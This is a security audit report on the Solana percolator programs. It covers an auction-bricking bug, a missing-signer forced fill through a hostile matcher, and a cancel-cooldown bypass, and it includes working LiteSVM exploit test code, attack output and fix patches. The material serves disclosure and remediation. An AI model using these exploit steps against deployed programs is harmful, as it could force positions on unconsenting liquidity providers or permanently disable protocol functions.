JELLEO | AUTONOMOUS SOLANA AUDIT

AUDIT CYCLE · JUNE 04, 2026

aeyakovenko/percolator-prog + percolator-meta (cross-repo boundary audit)

AUDITOR	Kirill Sakharuk · kirill@jelleo.com

TARGET	aeyakovenko/percolator-prog + percolator-meta (cross-repo boundary audit)
AUDIT DATE	June 04, 2026
CYCLE	20260604-percolator-boundary
ENGINE SHA	prog 4c358
WRAPPER SHA	n/a
GENERATED	2026-06-04T19:14:22+00:00

0	2	1	0	0
CRITICAL	HIGH	MEDIUM	LOW	INFO

CONFIRMED · DISCLOSED · FIXED · VERIFIED

SIGNED · ED25519

MCowBQYDK2VwAyEAvCFSLBecPuNClei48PWjHuelHlBX9uYZo4wELbQ7b+k=

verify with `audit-pipeline sign verify <file> <file>.sig --pubkey jelleo.ed25519.pub`
public key at https://jelleo.com/keys/jelleo.ed25519.pub

PLATFORM · V0.1

JELLEO · The underwriting layer for Solana DeFi.

Methodology	jelleo.com/methodology.html
Disclosure	jelleo.com/security.html
Source	github.com/Copenhagen0x/audit-pipeline-cli

Apache-2.0 · contact security@jelleo.com

00 — EXECUTIVE SUMMARY

This report documents the results of an in-depth, hand-driven Solana cross-repo boundary audit by Jelleo of the `aeyakovenko/percolator-prog + percolator-meta (cross-repo boundary audit)` workspace on June 04, 2026. The cycle identified 2 High and 1 Medium findings after Layer 2.5 triage and root-cause clustering. The findings document: (a) Buy/burn auction permanently brickable via an unpinned USD settlement…; (b) Cancel-cooldown bypass via a no-op…; (c) Matcher-LP forced fill — missing LP signer on the CPI trade path (SOL-006). Every finding is driven to an on-chain LiteSVM reproduction against the real compiled BPF binary and carries an LLM-authored structural fix patch; F1 (auction brick) and F2 (cooldown bypass) additionally carry passing Kani model-checker proofs of the underlying state-machine property, while F3 is the absence of a required signer check and so has no Kani property by nature — its real-binary LiteSVM forced-fill witness is the terminal proof. F1 was independently found and patched upstream ("finding AB"); F2 and F3 ship verified fix bundles (attack blocked, legitimate path and existing tests intact).

00.1 — SCOPE

IN-SCOPE SOURCE SET	
Target workspace	`aeyakovenko/percolator-prog + percolator-meta (cross-repo boundary audit)`
Protocol	Solana BPF program
Engine commit	`prog 4c358` (prog 4c35847 / meta 7ced50e)
Source files	`src/v16.rs`
Hypothesis library	9 invariant claim(s) covering authorization, arithmetic safety, accounting consistency, capability handling, event auditability, and oracle / time freshness
Out of scope	Off-chain components (indexers, frontends, oracles); deployment scripts; framework / standard-library code; dependencies pinned in `Cargo.toml` beyond their declared interfaces.

01 — PER-FINDING ANALYSIS · CONTENTS

Each finding below begins on its own page. Numbering matches the `FINDING NN / NN` banner in the body. Click any row to jump.

FINDING 01 / 3

HIGH F1 unpinned-settlement-destination-brick

Buy/burn auction permanently brickable via an unpinned USD settlement destination

INVARIANT Buy/burn auction permanently brickable via an unpinned USD settlement destination

AFFECTED CODE

- `twap-program/src/lib.rs` : raw `usd_dest` stored at `process_place_bid` (~1176); `claim` transfer to

it (~1532); state gates `place_bid` (1051) / `execute` (1237); `execute` sets `SETTLED` (1429); reopen only when all slots clear (1545-1552); `cancel` requires unsettled (1608).

- The COIN leg (already pinned to the canonical ATA) is the correct pattern the USD leg failed to follow.

DESCRIPTION

`place_bid` recorded the bid's COIN refund target as the bidder's canonical ATA (a closed ATA is permissionlessly recreatable) but recorded the USD settlement destination as the raw, bidder-supplied account. `claim` transfers `settlement_usd → usd_dest` to that stored raw account *before* it clears the slot. A winning bidder who closes `usd_dest` after a round settles makes that transfer — and therefore the whole `claim` — abort on every call. Because the single shared `AuctionBook` only returns to `OPEN` when every occupied slot is cleared, and both `place_bid` and `execute` require `OPEN`, and `cancel` cannot touch a *settled* slot, the auction freezes in `SETTLED` permanently. A raw non-ATA destination, unlike a canonical ATA, cannot be permissionlessly recreated, so the stuck `claim` is unrecoverable.

IMPACT

Liveness / total denial of service (no fund theft). Any user, at the cost of a single bid's escrowed COIN, **permanently** disables the protocol's entire buy/burn mechanism — a permanent loss of a core protocol function. Permissionless and irreversible.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

Kani's model-checker exhaustively explored the modeled state machine within its bounds and the assertion held for every symbolic input (VERIFICATION SUCCESSFUL) — formally proving the vulnerability is reachable across the entire modeled input space, not merely on the Layer 2 witness. A paired control / cover harness confirms the model is non-vacuous; see the per-finding Formal proof (L3) section below for the exact harness, bound, and result.

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

Driven L2 → L4 (LiteSVM against the real compiled `twap_program.so`): place a winning bid → `execute` (book → `SETTLED`, winner owed USD) → close `usd_dest` via real `spl_token::close_account` → `claim` reverts → a fresh `place_bid` and `execute` both reject (the book never reopens). Positive control (leave `usd_dest` open) → claim succeeds and the book reopens, isolating the account-close as the sole cause. The real-instruction L4 variant creates `usd_dest` via `system_instruction::create_account` + `initialize_account` and closes it via `close_account`; `place_bid` ~ 19-38k CU, close ~ 2,972 CU (well within a real transaction).

Formal proof (L3). Kani (`kani-brick/`, cargo-kani 0.67.0): `stuck_slot_bricks_book_permanently` (and at the real `MAX_BIDS = 32`, `stuck_slot_bricks_book_permanently_full32`) proves that one unclearable occupied+settled slot pins the book in `SETTLED` for **all** slot configurations (place_bid + execute permanently rejected; cancel cannot recover it); the dual control `book_reopens_when_all_slots_clear` proves the book *does* reopen when slots clear (non-vacuous). All harnesses `VERIFICATION:- SUCCESSFUL`.

RECOMMENDED FIX

Pin the USD settlement destination to the bidder's canonical USD (collateral) ATA, mirroring the COIN-leg fix — a closed ATA is permissionlessly recreatable, so any stuck claim is recoverable and no permanent brick is possible. This is exactly the upstream "finding AB" patch (`usd_dest` pinned to the canonical ATA in `process_place_bid`). No fix bundle is included here because the fix already landed upstream before disclosure.

LAYER 4 — LITESVM EXPLOIT REPRODUCTION (TEST SOURCE)

```rust
// Layer 4 LiteSVM PoC source — Finding F1 (buy/burn auction USD-leg brick).
// Real test from percolator-meta/twap-program/tests/chain.rs, loaded against the
// real compiled twap_program.so + percolator_prog.so. Proves the brick is now
// RECOVERABLE under the upstream "finding AB" fix (usd_dest pinned to the canonical,
// permissionlessly-recreatable ATA); the pre-fix raw-usd_dest variant was permanent.
#[test]
fn e2e_closing_usd_dest_cannot_permanently_brick_the_book() {
    let mut svm = LiteSVM::new().with_compute_budget(solana_program_runtime::compute_budget::ComputeBudget {
        compute_unit_limit: 1_400_000, heap_size: 256 * 1024,
        ..solana_program_runtime::compute_budget::ComputeBudget::default()
    });
    svm.add_program_from_file(perc_id(), perc_so()).unwrap();
    svm.add_program_from_file(twap_id(), so_deploy("twap_program")).unwrap();
    let payer = Keypair::new();
    svm.airdrop(&payer.pubkey(), 1_000_000_000_000).unwrap();
    let env = setup_handoff(&mut svm, &payer);
    let bk = setup_auction(&mut svm, &payer, &env, 10, 0, None, 0);

    // A lone winner takes the whole 400k budget; usd_owed = 400k, coin_refund = 0.
    let (winner, w_src, w_usd) = new_bidder(&mut svm, &payer, &env, 400_000);
    send(&mut svm, &[&winner], place_bid_ix(&winner.pubkey(), &env.twap_cfg, &bk.book, &bk.book_escrow,
&bk.coin_escrow, &w_src, &w_usd, &env.coin_mint, &env.collateral_mint, 400_000, 400_000, None)).expect("winner bid");
    let cranker = Keypair::new(); svm.airdrop(&cranker.pubkey(), 1_000_000_000).unwrap();
    warp_to(&mut svm, 111);
    send(&mut svm, &[&cranker], execute_ix(&cranker.pubkey(), &env, &bk.book, &bk.holding, &bk.settlement_usd,
&bk.book_escrow, &bk.coin_escrow, None)).expect("execute");

    // ATTACK: the winner closes their USD payout ATA so claim cannot deliver the 400k USD.
    let close = spl_token::instruction::close_account(&spl_token::ID, &w_usd, &winner.pubkey(), &winner.pubkey(), &
[]).unwrap();
    send(&mut svm, &[&winner], close).expect("winner closes usd payout ata");
    assert!(send(&mut svm, &[&cranker], claim_ix(&cranker.pubkey(), &env.twap_cfg, &bk.book, &bk.book_escrow,
&bk.settlement_usd, &bk.coin_escrow, &w_usd, &w_src, 0)).is_err(),
        "claim cannot deliver USD to a closed account (slot temporarily stuck)");
    let (late, l_src, l_usd) = new_bidder(&mut svm, &payer, &env, 5_000);
    assert!(send(&mut svm, &[&late], place_bid_ix(&late.pubkey(), &env.twap_cfg, &bk.book, &bk.book_escrow,
&bk.coin_escrow, &l_src, &l_usd, &env.coin_mint, &env.collateral_mint, 5_000, 5_000, None)).is_err(),
        "book is settled — placing is blocked until it drains");

    // RECOVERY (permissionless): recreate the canonical collateral ATA, then claim + reopen.
    set_token(&mut svm, &w_usd, &env.collateral_mint, &winner.pubkey(), 0);
    send(&mut svm, &[&cranker], claim_ix(&cranker.pubkey(), &env.twap_cfg, &bk.book, &bk.book_escrow,
&bk.settlement_usd, &bk.coin_escrow, &w_usd, &w_src, 0)).expect("claim recovers once the ATA exists again");
    assert_eq!(token_amount(&svm, &w_usd), 400_000, "winner's USD delivered after recreating the ATA");
    send(&mut svm, &[&late], place_bid_ix(&late.pubkey(), &env.twap_cfg, &bk.book, &bk.book_escrow, &bk.coin_escrow,
&l_src, &l_usd, &env.coin_mint, &env.collateral_mint, 5_000, 5_000, None)).expect("book reopened");
    let _ = (winner, late);
}
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

Fixed upstream as the maintainer's finding AB — the settlement destination is now pinned to the canonical collateral ATA. The Layer 4 test above runs against that patched binary and asserts the brick is recoverable, so no separate Jelleo patch is required.

FINDING 02 / 3

HIGH F3 missing-signer-forced-fill

Matcher-LP forced fill — missing LP signer on the CPI trade path (SOL-006)

AFFECTED CODE

- `src/v16_program.rs` — `handle_trade_cpi` (~6648; the lone `expect_signer(signer_a)` at ~6666) and

`handle_batch_trade_cpi` (~6883; the lone `expect_signer(signer_a)` at ~6901).

- Contrast: `handle_trade_nocpi` (signer_a + signer_b at ~6350-6351) and `handle_batch_trade_nocpi`

(signer_a + signer_b at ~6112-6113) — both require the LP to sign.

DESCRIPTION

The CPI trade path authorizes a fill via a `matcher_delegate` PDA derived from public inputs and a check that the matcher context account is owned by the matcher program. The attacker chooses both the matcher program and the matcher context (both attacker-owned, attacker-writable), so neither the PDA nor any "consent" bytes stored in the context can stand in for the LP's consent. The maintainer *intends* non-signing LP fills — a green test `v16_bpf_tradecpi_permissionless_lp_fill_does_not_need_lp_owner_signature` plus an `auth_matcher` "opt-in via signed matcher init" fixture exist — but that opt-in is **forgeable**: because the matcher context is an attacker-owned, attacker-writable account, a hostile matcher can write the exact bytes a signed LP-init would write. A probe (`tests/v16_forced_lp_consent_forgeable.rs`) pre-seeds the precise `auth_matcher` consent record with no LP signature and the forced fill still succeeds. There is no engine-controlled account recording an LP → matcher approval anywhere in the codebase, so the permissionless-LP design has no sound consent boundary — the LP's transaction signature is the only thing the engine can enforce.

IMPACT

Any taker, via a self-supplied hostile matcher, opens an arbitrary forced position on any margined LP that never signed and is not even the fee-payer — unconsented counterparty risk, forced losses / liquidation, and oracle/funding exposure. Permissionless and cheap. HIGH.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

—

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

REPRODUCTION

L2/L4 — `tests/v16_forced_lp_l4.rs::v16_forced_lp_l4_reachability`, LiteSVM against the real compiled `percolator_prog.so` plus a hostile-matcher `.so` (`tests/fixtures/hostile_matcher/.../hostile_matcher.so`): the victim LP creates and funds its portfolio via real signed `InitPortfolio` / `Deposit` and does **no** matcher setup; the attacker fabricates the `ctx` + `delegate` bound to the victim's public `(market, portfolio, owner)` tuple and submits `TradeCpi` signed **only by the taker**, routed through the hostile matcher. On the unpatched (count = 1) tree the attack run is the L4 witness:

```
ATTACK result=Ok(233140)
  victim LP forced leg = Some((Short, -5000000))
  taker    mirror leg  = Some((Long, 5000000))  (taker requested long +5000000)
ATTACK forced-fill TradeCpi compute_units_consumed = 233140 CU (Solana per-tx cap 1400000)
```

The victim LP, never a signer and not the fee-payer, is forced into `Short -5,000,000` (the exact mirror of the taker's long) in **233,140 CU** (< the 1.4M per-tx cap, so reachable on mainnet). The negative control (wrong delegate PDA) rejects with `InvalidArgument`, proving the binding is live. Three distinct keys are used (victim != fee-payer != taker; the victim never signs). Finding 3 has no Kani property by nature (it is the absence of a signer check) — its real-binary LiteSVM PoC is the terminal proof.

RECOMMENDED FIX

Add `expect_signer(signer_b)?;` to both `handle_trade_cpi` and `handle_batch_trade_cpi`, matching the no-CPI paths (see `bundles/F3/patch.diff`):

```
         expect_signer(signer_a)?;
+        // The LP (signer_b / account_b owner) MUST sign too, exactly as the no-CPI trade paths require.
+        // The matcher_delegate PDA is derived from PUBLIC inputs and the matcher context is an
+        // attacker-owned, attacker-writable account, so neither the PDA nor any consent record stored
+        // in the context can stand in for the LP's consent (a hostile matcher forges those bytes).
+        expect_signer(signer_b)?;
         expect_writable(market_ai)?;
```

The LP's transaction signature is the only engine-enforceable proof of consent to a forced fill; matcher-context state is attacker-controlled and forgeable (proven by the consent-forgeable probe). Post-fix the forced fill errors with `ExpectedSigner` (`Custom(6)`) before any state change, while signing-LP CPI fills and all no-CPI trades continue to work.

Verification (re-run on the patched `.so`, HEAD 4c35847): attack BLOCKED — `ATTACK result=Err(InstructionError(2, Custom(6)))` (`PercolatorError::ExpectedSigner`), bailing before any state change; `victim LP forced leg = None`; the forged-consent probe is likewise blocked. Legit path intact — `v16_attack_hostile_matcher_single_tradecpi_returns_all_rejected` (a SIGNING LP, all 8 hostile-return modes reject + the faithful fill executes) → `1 passed; 0 failed`. Regression — the fix

introduces exactly **5 intended failures**, each a test that drove a NON-signing CPI fill (`v16_bpf_tradecpi_permissionless_lp_fill_does_not_need_lp_owner_signature` + 4 siblings), i.e. tests asserting the now-removed insecure capability; zero signing-LP or no-CPI tests broke (`tradenocpi` 7/7 green; `v16_attack_nocpi_trades_still_require_lp_owner_signature` green).

Note for the maintainer. This fix deliberately removes the "permissionless (non-signing) LP fill" behavior, because that behavior is the vulnerability (the `auth_matcher` opt-in it relies on is forgeable at the engine boundary). A sound permissionless-LP design would require an **engine-controlled** (not matcher-controlled) LP → matcher approval account that an attacker cannot forge — a larger protocol change. The 5 tests above should then be updated to feed a signing LP or re-pointed at such an approval mechanism.

LAYER 4 — LITESVM EXPLOIT REPRODUCTION (TEST SOURCE)

```rust
// L4 (on-chain reachability) hardening of the forced-LP finding (finding #3).
//
// This is the airtight reachability sibling of `v16_forced_lp_hardened.rs`. It proves the EXACT same
// missing-signer bug end-to-end against the REAL BPF binaries, and additionally MEASURES the compute
// units the malicious fill burns so we can show it fits inside a real Solana transaction (< 1.4M CU).
//
// Everything the victim touches is a REAL instruction routed through the loaded `.so`:
//   * the victim LP's portfolio is created with a real InitPortfolio ix (V16CuEnv::create_portfolio),
//     signed by the LP itself — the program writes the owner field, no state injection.
//   * the victim funds it with a real Deposit ix (V16CuEnv::deposit), signed by the LP itself.
//   * the victim is NOT the fee payer (env.payer is a distinct keypair) and does NOT sign the attack.
//   * the forced fill is a real ProgInstruction::TradeCpi, routed to the real hostile-matcher BPF
//     program (tests/fixtures/hostile_matcher/target/deploy/hostile_matcher.so) via CPI.
//
// The only difference from the no-CPI trade path is the missing guard: handle_trade_cpi calls
// expect_signer(signer_a) but NOT expect_signer(signer_b); handle_trade_nocpi / handle_batch_trade_nocpi
// require BOTH. So a taker, signing only as themselves, forces a position onto a non-consenting LP.
//
//   cargo test --no-default-features --test v16_forced_lp_l4 \
//       v16_forced_lp_l4_reachability -- --nocapture
//
// Reuses the real harness verbatim via include!.

include!("v16_cu.rs");

#[test]
fn v16_forced_lp_l4_reachability() {
    let mut env = V16CuEnv::new_with_market_params_and_price_move(2, 1_000, 1_000, 500);
    env.configure_auth_mark_for_asset_as_admin(0, 1, 100);
    let hostile = Pubkey::new_unique();
    env.svm
        .add_program(hostile, &std::fs::read(hostile_matcher_program_path()).unwrap());

    // ---- VICTIM + ATTACKER set up via REAL instructions (no state injection) ----
    let taker = Keypair::new();
    let lp = Keypair::new(); // VICTIM LP — never signs the attack.
    let ta = env.create_portfolio(&taker); // real InitPortfolio ix signed by taker.
    let la = env.create_portfolio(&lp); // real InitPortfolio ix signed by the LP (program writes owner).
    env.deposit(&taker, ta, 1_000_000); // real Deposit ix signed by taker.
    env.deposit(&lp, la, 1_000_000); // real Deposit ix signed by the LP.

    // The victim did NO matcher setup. The attacker fabricates ctx+delegate bound to the victim's
    // (market, portfolio, owner) tuple. The PDA needs no secret — percolator signs it during the CPI.
    let ctx = Pubkey::new_unique();
    let delegate = matcher_delegate_key(&env.program_id, &env.market, &la, &lp.pubkey(), &hostile, &ctx);
    env.svm
        .set_account(delegate, Account { lamports: 1_000_000_000, data: vec![], owner: Pubkey::default(), executable:
false, rent_epoch: 0 })
        .unwrap();
    let mut ctx_data = vec![0u8; MATCHER_CONTEXT_LEN];
    ctx_data[0] = 9; // faithful fill (validator accepts) — consent is the only variable under test.
    env.svm
        .set_account(ctx, Account { lamports: 1_000_000_000, data: ctx_data, owner: hostile, executable: false,
rent_epoch: 0 })
        .unwrap();

    let sz = (5 * POS_SCALE) as i128;
    let market = env.market;
```

```
    let payer_pk = env.payer.pubkey();
    let la_owner_before = env.portfolio_state(la).owner;
    let la_had_pos_before = has_active_leg_for_asset(&env.portfolio_state(la), 0);

    // Identities: the ONLY non-payer signature on the attack tx is the taker's. The victim is neither
    // the payer nor a signer; the attacker is not the payer either.
    println!("payer      = {payer_pk}");
    println!("taker      = {}", taker.pubkey());
    println!("lp(victim) = {}", lp.pubkey());
    assert_ne!(lp.pubkey(), payer_pk, "victim LP must not be the fee-payer");
    assert_ne!(taker.pubkey(), payer_pk, "taker must not be the fee-payer");
    assert_ne!(lp.pubkey(), taker.pubkey(), "victim and attacker are distinct");
    assert!(!la_had_pos_before, "victim starts with NO position (real Deposit only, no injected leg)");

    let metas = |signer_b_is_signer: bool, deleg: Pubkey, c: Pubkey| vec![
        AccountMeta::new(taker.pubkey(), true),
        AccountMeta::new(lp.pubkey(), signer_b_is_signer),
        AccountMeta::new(market, false),
        AccountMeta::new(ta, false),
        AccountMeta::new(la, false),
        AccountMeta::new_readonly(hostile, false),
        AccountMeta::new(c, false),
        AccountMeta::new_readonly(deleg, false),
    ];

    let leg_of = |p: &PortfolioAccountV16| -> Option<(SideV16, i128)> {
        p.legs.iter().find(|l| l.active && l.asset_index as usize == 0).map(|l| (l.side, l.basis_pos_q))
    };

    // ================= ATTACK: LP is a NON-signer; only the taker signs. =================
    // env.send returns Ok(compute_units_consumed) straight from LiteSVM tx metadata — the REAL on-chain
    // CU the forced fill (taker → hostile-matcher CPI → engine settle) burns end to end.
    env.svm.expire_blockhash();
    let attack = env.send(
        ProgInstruction::TradeCpi { asset_index: 0, size_q: sz, fee_bps: 100, limit_price: 0 },
        metas(false, delegate, ctx),
        &[&taker],
    );
    let la_after = env.portfolio_state(la);
    let ta_after = env.portfolio_state(ta);
    let lp_leg = leg_of(&la_after);
    let ta_leg = leg_of(&ta_after);
    println!("ATTACK result={attack:?}");
    println!("  victim LP forced leg = {lp_leg:?}");
        "forced-fill TradeCpi consumed {attack_cu} CU, must fit under the {SOLANA_MAX_TX_CU} CU per-tx cap to be
reachable on mainnet",
    );

    // ---- The fill is a genuine forced COUNTERPARTY position, not a self-trade or phantom leg. ----
    let (lp_side, lp_basis) = lp_leg.expect("the victim LP was forced into a real active position");
    let (ta_side, ta_basis) = ta_leg.expect("the taker holds the mirror position");
    assert_eq!(ta_side, SideV16::Long, "taker holds the LONG side");
    assert_eq!(lp_side, SideV16::Short, "victim LP holds the opposite SHORT side: a real forced counterparty
position");
    assert!(ta_basis > 0, "taker long basis is positive");
    assert!(lp_basis < 0, "victim LP short basis is negative (opposite the taker)");
    assert_eq!(lp_basis, -ta_basis, "the forced LP position exactly mirrors the taker's (zero-sum counterparty
fill)");
    assert_eq!(lp_basis, -sz, "the forced LP short equals the full requested size, taken without consent");
    println!("EVIDENCE: forced a SHORT of size {} (basis_pos_q={lp_basis}) onto a non-consenting, non-payer victim LP
with ONLY the taker's signature, in {attack_cu} CU.", lp_basis.unsigned_abs());
```

```
    // ================= NEGATIVE CONTROL: wrong delegate PDA → must be REJECTED. =================
    // Proves the binding check is live (not an accept-anything path): only the correctly-derived
    // delegate is accepted, so the success above is the real validated path.
    let wrong_delegate = Pubkey::new_unique();
    env.svm
        .set_account(wrong_delegate, Account { lamports: 1_000_000_000, data: vec![], owner: Pubkey::default(),
executable: false, rent_epoch: 0 })
        .unwrap();
    env.svm.expire_blockhash();
    let neg = env.send(
        ProgInstruction::TradeCpi { asset_index: 0, size_q: sz, fee_bps: 100, limit_price: 0 },
        metas(false, wrong_delegate, ctx),
        &[&taker],
    );
    println!("NEGATIVE CONTROL (wrong delegate PDA) result={neg:?}");
    assert!(neg.is_err(), "a wrong delegate PDA must be rejected → the binding is genuinely enforced");
```

LAYER P3 — PROPOSED STRUCTURAL FIX (PATCH DIFF)

```
index 6a07ce9..23f2df6 100644
--- a/src/v16_program.rs
+++ b/src/v16_program.rs
@@ -6664,6 +6664,15 @@ pub mod processor {
         let tail = &accounts[8..];

         expect_signer(signer_a)?;
+        // The LP (signer_b / account_b owner) MUST sign too, exactly as the no-CPI trade paths
+        // (handle_trade_nocpi / handle_batch_trade_nocpi) require. The matcher_delegate PDA is derived
+        // entirely from PUBLIC inputs (market, account_b, lp owner, matcher_prog, matcher_ctx), and the
+        // matcher context is an attacker-suppliable, attacker-owned account, so neither the PDA signature
+        // nor any consent record stored in the matcher context can stand in for the LP's consent — a
+        // hostile matcher can forge those bytes. Requiring the LP's signature is the only sound,
+        // engine-enforceable proof that the counterparty consents to the fill, and prevents a taker from
+        // forcing a position onto a non-signing margined LP via a hostile matcher (finding #3 / SOL-006).
+        expect_signer(signer_b)?;
         expect_writable(market_ai)?;
         expect_writable(account_a_ai)?;
         expect_writable(account_b_ai)?;
@@ -6890,6 +6899,15 @@ pub mod processor {
         let tail = &accounts[8..];

         expect_signer(signer_a)?;
+        // The LP (signer_b / account_b owner) MUST sign too, exactly as the no-CPI trade paths
+        // (handle_trade_nocpi / handle_batch_trade_nocpi) require. The matcher_delegate PDA is derived
+        // entirely from PUBLIC inputs (market, account_b, lp owner, matcher_prog, matcher_ctx), and the
+        // matcher context is an attacker-suppliable, attacker-owned account, so neither the PDA signature
+        // nor any consent record stored in the matcher context can stand in for the LP's consent — a
+        // hostile matcher can forge those bytes. Requiring the LP's signature is the only sound,
+        // engine-enforceable proof that the counterparty consents to the fill, and prevents a taker from
+        // forcing a position onto a non-signing margined LP via a hostile matcher (finding #3 / SOL-006).
+        expect_signer(signer_b)?;
         expect_writable(market_ai)?;
         expect_writable(account_a_ai)?;
         expect_writable(account_b_ai)?;
```

FINDING 03 / 3

MEDIUM F2 cooldown-bypass-noop-roll

Cancel-cooldown bypass via a no-op roll

INVARIANT Cancel-cooldown bypass via a no-op roll

AFFECTED CODE

- `twap-program/src/lib.rs` — the cancel gate `let cleared = book.round_end ≠ place_round_end;` and the

`if !cleared && !aged { return Err(ERR_ROUND_ACTIVE); }` reject.

- Root cause in `process_execute` — `round_end` is advanced unconditionally ("Open the next round

regardless", ~1492-1496), even on a no-op roll where the provisional settle marks are undone and `SL_SETTLED` is reset to 0.

DESCRIPTION

The cancel gate treats any change in `round_end` since placement as proof the book was cleared. But `execute` advances `round_end` on every run, including a no-op roll where `total_coin = 0` : nothing is bought, the bid stays `OCCUPIED` and unsettled, yet `round_end` still moves. So a single permissionless no-op `execute` flips `cleared` to true while the bid remains unsettled and `now` is still inside the `2*round_length` aging window (`aged = false`), and the reject branch `!cleared && !aged` does not fire. A real settlement is no help to an early cancel anyway: it sets `SL_SETTLED = 1` on every occupied slot, and the cancel path already rejects any `SL_SETTLED ≠ 0` bid (it must use `claim`). So the only way `round_end` advances while a bid stays unsettled is the no-op-roll attack.

IMPACT

The anti-spoofing cooldown is defeated whenever a no-op roll can be cranked (permissionless; routine at surplus = 0). A bidder can post a large bid to shape the book / signal, ride a no-op roll, then yank the bid before the intended cooldown elapses — exactly the last-second-cancel manipulation the cooldown exists to prevent. Only the attacker's own escrow moves (no third-party theft), so MEDIUM.

LAYER 3 — SYMBOLIC VERIFICATION (KANI)

Kani's model-checker exhaustively explored the modeled state machine within its bounds and the assertion held for every symbolic input (VERIFICATION SUCCESSFUL) — formally proving the vulnerability is reachable across the entire modeled input space, not merely on the Layer 2 witness. A paired control /

cover harness confirms the model is non-vacuous; see the per-finding Formal proof (L3) section below for the exact harness, bound, and result.

LAYER 4 — ON-CHAIN BPF REPRODUCTION

✓ Reproduced through deployed BPF instructions

```
the no-op-roll cancel must now be REJECTED mid-cooldown
```

REPRODUCTION

L2/L4 — `twap-program/tests/chain.rs::e2e_l4_cancel_cooldown_via_noop_roll`, LiteSVM vs. the real `twap_program.so`: round_length = 100; bid at slot 100 (`place_round_end = 200`, aged-cutoff = 300); immediate cancel rejected → warp to slot 201 (`≥ round_end`, so execute runs; `< 300`, so `aged == false`) → drop slab insurance below the floor so `execute` is a **no-op roll** (0 burned, bid still OCCUPIED + unsettled, `round_end` advances 200 → 301) → on the **vulnerable** build, cancel at slot 201 SUCCEEDS, draining the 10,000-COIN escrow mid-cooldown (cancel ~ 11,295 CU). The same test, run against the **patched** `.so`, now rejects that cancel with `Custom(1)` (`ERR_ROUND_ACTIVE`) and confirms the legit aged-window cancel at slot 300+ still returns the escrow — the verified fix bundle.

Formal proof (L3). Kani (`kani-cooldown/`, cargo-kani 0.67.0): `cancel_cooldown_bypassable_by_noop_roll` proves the reject branch does **not** fire for all symbolic inputs where a no-op roll runs after placement and a cancel is attempted still inside the aging window; the control `cancel_correctly_rejected_without_execute` proves the gate *does* reject when no execute moved `round_end` (non-vacuous). A coverage harness (`kani-cooldown-cover/`, `bypass_scenario_is_reachable`) confirms the bypass scenario is reachable (1 of 1 cover properties satisfied). All `VERIFICATION:- SUCCESSFUL`.

RECOMMENDED FIX

Drop the `round_end`-delta `cleared` shortcut and gate cancel solely on the `aged` (`2*round_length`) window (see `bundles/F2/patch.diff`):

```
-        let place_round_end = book_rd_u64(&d, o + SL_PLACE_ROUND_END);
         let now = solana_program::clock::Clock::get()?.slot;
-        let cleared = book.round_end ≠ place_round_end;
         let aged = now ≥ place_slot.saturating_add(book.round_length.saturating_mul(2));
-        if !cleared && !aged {
+        if !aged {
             return Err(ProgramError::Custom(ERR_ROUND_ACTIVE));
         }
```

A real settlement sets `SL_SETTLED = 1` on every occupied slot, and the cancel path already rejects any settled bid, so any bid that can even reach this gate is unsettled; the only way `round_end` advances while a bid stays unsettled is the no-op roll — the attack. The `cleared` shortcut therefore enabled nothing

legitimate the `aged` window does not already cover; removing it kills the bypass and strands no funds beyond the intended window. `SL_PLACE_ROUND_END` is still written at placement, so the byte layout is unchanged and no account migration is required.

Verification (re-run on the patched `.so`): attack BLOCKED — the bypass now returns `Custom(1)`; the PoC (asserting rejection) passes. Legit path intact — aged-window cancel succeeds. No regression — `cargo test --test chain cancel` → `4 passed; 0 failed` (`e2e_l4_cancel_cooldown_via_noop_roll`, `e2e_bid_cancellable_after_cooldown_keeps_fee`, `e2e_cancel_cannot_double_spend_a_settled_bid`, `e2e_bid_cannot_be_cancelled_only_evicted_by_a_better_bid`).

LAYER 4 — LITESVM EXPLOIT REPRODUCTION (TEST SOURCE)

```rust
// Layer 4 LiteSVM PoC source — Finding F2 (cancel-cooldown bypass via a no-op roll).
// Real test from percolator-meta/twap-program/tests/chain.rs, loaded against the real
// compiled twap_program.so + percolator_prog.so. On the VULNERABLE build the mid-cooldown
// cancel SUCCEEDS (the `cleared = round_end ≠ place_round_end` shortcut is flipped by a
// no-op roll) and this regression's `assert!(r.is_err())` panics; on the PATCHED build
// (gate on `aged` only) the cancel is rejected with Custom(1) and the aged-window cancel
// still works.
#[test]
fn e2e_l4_cancel_cooldown_via_noop_roll() {
    let mut svm = LiteSVM::new().with_compute_budget(solana_program_runtime::compute_budget::ComputeBudget {
        compute_unit_limit: 1_400_000, heap_size: 256 * 1024,
        ..solana_program_runtime::compute_budget::ComputeBudget::default()
    });
    svm.add_program_from_file(perc_id(), perc_so()).unwrap();
    svm.add_program_from_file(twap_id(), so_deploy("twap_program")).unwrap();
    let payer = Keypair::new();
    svm.airdrop(&payer.pubkey(), 1_000_000_000_000).unwrap();
    let env = setup_handoff(&mut svm, &payer); // clock = slot 100, insurance 1.5M, floor 1M
    let round_length = 100u64;
    let bk = setup_auction(&mut svm, &payer, &env, round_length, 0, None, 0); // round_end = 100+100 = 200

    // Alice commits 10_000 COIN at slot 100: place_slot = 100, place_round_end = 200.
    // aged-cutoff = place_slot + 2*round_length = 100 + 200 = 300.
    let (alice, a_src, a_usd) = new_bidder(&mut svm, &payer, &env, 10_000);
    send(&mut svm, &[&alice], place_bid_ix(&alice.pubkey(), &env.twap_cfg, &bk.book, &bk.book_escrow,
&bk.coin_escrow, &a_src, &a_usd, &env.coin_mint, &env.collateral_mint, 10_000, 5_000, None)).expect("alice bid");
    assert_eq!(token_amount(&svm, &bk.coin_escrow), 10_000, "coin escrowed");

    // A cancel right now (slot 100) is correctly rejected: neither cleared nor aged.
    assert!(send(&mut svm, &[&alice], cancel_ix(&alice.pubkey(), &env.twap_cfg, &bk.book, &bk.book_escrow,
&bk.coin_escrow, &a_src, 0)).is_err(),
        "cancel before any roll/aging must be rejected (cooldown active)");

    // Warp to slot 201: past round_end (200) so an execute is permitted, but BEFORE the aged-cutoff
    // (300) — so `aged` is FALSE. We are still squarely inside the anti-spoofing cooldown.
    warp_to(&mut svm, 201);

    // Force a NO-OP ROLL: drop live insurance (slab offset 749) below the 1M floor so surplus = 0.
